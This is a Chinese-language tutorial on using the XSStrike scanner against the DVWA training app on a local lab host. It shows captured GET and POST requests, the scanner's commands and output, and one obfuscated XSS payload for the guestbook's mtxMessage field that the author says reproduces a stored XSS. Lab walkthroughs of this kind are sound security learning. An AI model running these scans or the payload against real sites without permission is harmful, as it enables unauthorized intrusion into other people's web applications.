简介
XSStrike
据说是一款比较好用的检查XSS漏洞的工具,能够bypass WAF
,
检查 DOM XSS
,当然 Reflected XSS
和 Stored XSS
也可以检测。
Github仓库以及使用方法: XSStrike XSStrike使用方法
使用
XSStrike可以使用 GET
方法,也可以使用 POST
方法,使用什么方法要看被检测的网站使用什么方法。
下面是以检测DVWA为例子
GET 方法
DVWA XSS(Reflected)
Burp截获的数据如下:
GET /dvwa/vulnerabilities/xss_r/?name=nihoao HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.10/dvwa/vulnerabilities/xss_r/
Connection: close
Cookie: security=low; PHPSESSID=g9qm98qk1fi31golgpth3c3qqq
Upgrade-Insecure-Requests: 1
从截获的信息来看使用的 GET 参数只有一个 name
那么该如何使用 XSStrike 来帮忙自动检测呢?
如下:
终端输入
- -u 后面跟URL
python3 xsstrike.py -u "http://192.168.1.10/dvwa/vulnerabilities/xss_r/?name=nihoao"
结果显示如下信息
XSStrike v3.1.4
[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: name
[-] No reflection found
我们可以得到的信息:
- WAF Status: Offline 是没有的或者是有也关闭了
- Testing parameter: name 参数只有一个name可以看到 XSStrike可以自动检测参数, 其实XSStrike还就是对这个输入参数进行赋值来进行检查的。只是这里没有显示出来。
- No reflection found 表示 XSStrike没检测到XSS漏洞.
POST 方法
DVWA XSS(Stored)
那么下面我们看一下 XSStrike 给参数赋值并且打印出来的例子:
Burp 截获的信息如下:
POST /dvwa/vulnerabilities/xss_s/ HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.10/dvwa/vulnerabilities/xss_s/
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Connection: close
Cookie: security=low; PHPSESSID=dn57dj6nlghiu64oa6ko4pjfj0
Upgrade-Insecure-Requests: 1
txtName=jack&mtxMessage=where+is+rose&btnSign=Sign+Guestbook
从上面信息可以看到使用 POST
方法.
那么这次XSStrike 该如使用呢? 如下:
root@kali:~/XSStrike# python3 xsstrike.py -u "http://192.168.1.10/dvwa/vulnerabilities/xss_s/" --header "Cookie: security=low; PHPSESSID=dn57dj6nlghiu64oa6ko4pjfj0" --data "txtName=jack&mtxMessage=where+is+rose&btnSign=Sign+Guestbook"
这里相对于上面的 GET 方法增加了一些信息:
- –header 头部信息
"Cookie: security=low; PHPSESSID=dn57dj6nlghiu64oa6ko4pjfj0"
(其实整个头部信息都可以放进去,我只是不想放那么多,less is better) - –data POST方法的body信息
"txtName=jack&mtxMessage=where+is+rose&btnSign=Sign+Guestbook"
检测过程输出信息如下:
XSStrike v3.1.4
[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: txtName
[!] Reflections found: 1
[~] Analysing reflections
[~] Generating payloads
[!] Payloads generated: 3072
~] Progress: 3072/3072
[!] Testing parameter: mtxMessage
[!] Reflections found: 1538
[~] Analysing reflections
[~] Generating payloads
[!] Payloads generated: 2238432
------------------------------------------------------------
[+] Payload: <detAIls%09ONpoinTEREnter%09=%09[8].find(confirm)//
[!] Efficiency: 100
[!] Confidence: 10
[?] Would you like to continue scanning? [y/N] n
我们可以看到输入
参数有两个
,其实burp给出的信息data里面参数有3个但是,
第3个参数不是输入参数,因为大部分漏洞都是输入输出产生。这里的第3个参数btnSign
就没什么用了.
这里产生了第一条 Payload (其实XSStrike已经插入了很多条记录到数据库,但是不知道为什么它才跳出来第一条payload)
<detAIls%09ONpoinTEREnter%09=%09[8].find(confirm)//
然后 XSStrike 询问我们是否还要继续进行扫描,但是, 我这里就不再进行扫描了,所以选择了 n
我们只要对参数 mtxMessage 赋值:
<detAIls%09ONpoinTEREnter%09=%09[8].find(confirm)//
就可以复现漏洞了。
: